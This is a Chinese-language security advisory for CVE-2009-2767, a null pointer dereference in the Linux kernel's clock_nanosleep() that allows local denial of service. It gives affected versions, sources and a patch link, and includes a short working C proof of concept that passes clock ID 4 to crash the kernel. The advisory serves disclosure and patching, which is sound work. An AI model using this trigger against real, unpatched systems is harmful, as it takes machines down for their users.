安全研究

安全漏洞
Linux Kernel posix-timers.c空指针引用拒绝服务漏洞

发布日期:2009-08-06
更新日期:2009-08-10

受影响系统:
Linux kernel 2.6.x
不受影响系统:
Linux kernel 2.6.31-rc5-git3
描述:
BUGTRAQ  ID: 35976
CVE(CAN) ID: CVE-2009-2767

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的kernel/posix-timers.c文件中的clock_nanosleep()函数存在安全漏洞,如果使用等于CLOCK_MONOTONIC_RAW的时钟ID调用该函数就会触发空指针引用,导致拒绝服务的情况。

<*来源:Hiroshi Shimamoto
  
  链接:http://secunia.com/advisories/36200/
        https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=515867
        http://permalink.gmane.org/gmane.comp.security.oss.general/1979
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <time.h>

int main(void)
{
    struct timespec ts;
    ts.tv_sec = 1;
    ts.tv_nsec = 0;

    return clock_nanosleep(4, 0, &ts, NULL);
}

建议:
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://git.kernel.org/linus/70d715fd0597f18528f389b5ac59102263067744

浏览次数:2439
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障